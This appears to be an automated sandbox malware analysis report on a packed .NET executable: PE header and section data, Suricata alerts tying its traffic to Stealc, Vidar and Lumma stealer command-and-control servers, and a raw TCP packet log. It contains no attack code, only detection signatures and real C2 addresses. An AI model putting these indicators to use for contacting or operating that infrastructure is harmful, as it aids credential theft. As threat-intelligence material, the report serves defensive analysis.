IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x64000	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x66000	0x5f8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x62c00	0x2628
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x68000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x63ec8	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x62054	0x62200	269a7fab45c94d5a418c599fcd86989a	False	0.9937524880573249	data	7.996029289686649	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x66000	0x5f8	0x600	857e36fde0468e9e54ff62c475932565	False	0.443359375	data	4.1834568135501025	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x68000	0xc	0x200	d6564513eeed849c4d9ffd68db89fa0d	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x660a0	0x368	data			0.4380733944954128
RT_MANIFEST	0x66408	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-30T13:59:20.133065+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.6	49721	5.42.101.62	80	TCP
2024-09-30T13:59:20.764576+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	5.42.101.62	80	192.168.2.6	49721	TCP
2024-09-30T13:59:21.396013+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	5.42.101.62	80	192.168.2.6	49721	TCP
2024-09-30T13:59:38.219898+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49723	147.45.44.104	80	TCP
2024-09-30T13:59:40.004459+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49723	147.45.44.104	80	TCP
2024-09-30T13:59:40.233532+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49724	104.21.1.169	443	TCP
2024-09-30T13:59:40.233532+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49724	104.21.1.169	443	TCP
2024-09-30T13:59:41.458335+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49723	147.45.44.104	80	TCP
2024-09-30T13:59:42.740384+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49726	188.114.97.3	443	TCP
2024-09-30T13:59:42.740384+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49726	188.114.97.3	443	TCP
2024-09-30T13:59:43.588058+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49727	46.8.231.109	80	TCP
2024-09-30T13:59:43.774251+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49727	46.8.231.109	80	TCP
2024-09-30T13:59:43.781351+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	46.8.231.109	80	192.168.2.6	49727	TCP
2024-09-30T13:59:43.959215+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49727	46.8.231.109	80	TCP
2024-09-30T13:59:43.966080+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	46.8.231.109	80	192.168.2.6	49727	TCP
2024-09-30T13:59:44.257558+0200	2054495	ET MALWARE Vidar Stealer Form Exfil	1	192.168.2.6	49728	45.132.206.251	80	TCP
2024-09-30T13:59:44.381205+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49727	46.8.231.109	80	TCP
2024-09-30T13:59:44.565490+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49727	46.8.231.109	80	TCP
2024-09-30T13:59:47.787108+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49727	46.8.231.109	80	TCP
2024-09-30T13:59:49.384989+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49727	46.8.231.109	80	TCP
2024-09-30T13:59:50.009066+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49730	46.8.231.109	80	TCP
2024-09-30T13:59:50.798148+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49730	46.8.231.109	80	TCP
2024-09-30T13:59:51.426149+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49732	46.8.231.109	80	TCP
2024-09-30T13:59:52.041566+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49732	46.8.231.109	80	TCP
2024-09-30T13:59:54.102942+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49733	147.45.44.104	80	TCP
2024-09-30T13:59:55.016532+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49733	147.45.44.104	80	TCP
2024-09-30T13:59:57.534798+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49735	172.67.205.129	443	TCP
2024-09-30T13:59:57.534798+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49735	172.67.205.129	443	TCP
2024-09-30T13:59:58.480569+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49737	172.67.205.129	443	TCP
2024-09-30T13:59:58.480569+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49737	172.67.205.129	443	TCP
2024-09-30T13:59:59.332480+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	5.42.101.62	80	192.168.2.6	49736	TCP
2024-09-30T13:59:59.458737+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49738	104.21.1.169	443	TCP
2024-09-30T13:59:59.458737+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49738	104.21.1.169	443	TCP
2024-09-30T14:00:00.072879+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	5.42.101.62	80	192.168.2.6	49736	TCP
2024-09-30T14:00:01.818722+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49740	188.114.97.3	443	TCP
2024-09-30T14:00:01.818722+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49740	188.114.97.3	443	TCP
2024-09-30T14:00:08.883114+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	5.42.101.62	80	192.168.2.6	49742	TCP
2024-09-30T14:00:10.005613+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	5.42.101.62	80	192.168.2.6	49742	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 13:59:16.851146936 CEST	49719	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:16.851207018 CEST	443	49719	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:16.851279020 CEST	49719	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:16.895673990 CEST	49719	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:16.895700932 CEST	443	49719	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:17.544183969 CEST	443	49719	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:17.544264078 CEST	49719	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:17.621732950 CEST	49719	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:17.621763945 CEST	443	49719	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:17.622103930 CEST	443	49719	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:17.622159958 CEST	49719	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:17.640754938 CEST	49719	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:17.687403917 CEST	443	49719	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:17.891854048 CEST	443	49719	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:17.891887903 CEST	443	49719	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:17.891925097 CEST	49719	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:17.891943932 CEST	443	49719	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:17.891966105 CEST	443	49719	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:17.891979933 CEST	443	49719	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:17.891980886 CEST	49719	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:17.891993046 CEST	49719	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:17.892014027 CEST	49719	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:17.911871910 CEST	49719	443	192.168.2.6	149.154.167.99
Sep 30, 2024 13:59:17.911897898 CEST	443	49719	149.154.167.99	192.168.2.6
Sep 30, 2024 13:59:18.010406971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:18.015547991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:18.015628099 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:18.015818119 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:18.020901918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:18.965643883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:18.967961073 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:18.983493090 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:18.988317966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:19.566453934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:19.566673040 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:19.568109989 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:19.572969913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:20.132946968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:20.133064985 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:20.133076906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:20.133125067 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:20.134543896 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:20.140065908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:20.666474104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:20.666492939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:20.666502953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:20.666513920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:20.666523933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:20.666536093 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:20.666671038 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:20.757287979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:20.757407904 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:20.759092093 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:20.764575958 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:21.326414108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:21.326567888 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:21.391108036 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:21.391155958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:21.396013021 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:21.396027088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:21.396045923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:21.396055937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:21.396243095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:21.396254063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:21.396320105 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:21.396373987 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.059564114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.059659004 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.061405897 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.066237926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.251000881 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.251029968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.251044989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.251066923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.251112938 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.257473946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.257514000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.257524014 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.257525921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.257564068 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.263911009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.263947964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.263959885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.263959885 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.263998032 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.264008999 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.270633936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.270668983 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.270689011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.270730972 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.270760059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.270801067 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.563723087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.563747883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.563766003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.563796997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.563813925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.563828945 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.563847065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.563896894 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.563956022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.563986063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.563997984 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564001083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564014912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564029932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564030886 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564045906 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564053059 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564062119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564068079 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564076900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564088106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564089060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564106941 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564138889 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564326048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564342022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564356089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564368963 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564382076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564400911 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564492941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564507008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564521074 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564532042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564536095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564551115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564565897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564568996 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564579964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564583063 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564595938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564600945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564609051 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564618111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564621925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564634085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564636946 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564650059 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564651966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564667940 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564667940 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564682007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.564690113 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.564716101 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.565067053 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.565112114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.569417000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.569432020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.569459915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.569468975 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.569474936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.569489002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.569490910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.569500923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.569506884 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.569523096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.569524050 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.569538116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.569570065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.570851088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.570904016 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.570993900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.571008921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.571023941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.571038008 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.571041107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.571053982 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.571060896 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.571069002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.571084976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.571090937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.571106911 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.571136951 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.573971033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.574002028 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.574016094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.574023008 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.574038029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.574057102 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.574065924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.574080944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.574095964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.574104071 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.574120045 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.574137926 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.574836969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.574887037 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.574922085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.574935913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.574950933 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.574965000 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.574965954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.574980021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.575004101 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.575733900 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.575750113 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.575766087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.575778008 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.575783014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.575813055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.575836897 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.576395035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.576445103 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.576591015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.576638937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.576642990 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.576668978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.576682091 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.576693058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.576706886 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.576709032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.576730967 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.576746941 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.577414036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.577462912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.577630997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.577661037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.577678919 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.577682018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.577696085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.577696085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.577713013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.577718019 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.577734947 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.577754021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.578464985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.578480959 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.578495979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.578512907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.578527927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.579960108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.580008984 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.580043077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.580080986 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:22.580169916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:22.580216885 CEST	49721	80	192.168.2.6	5.42.101.62
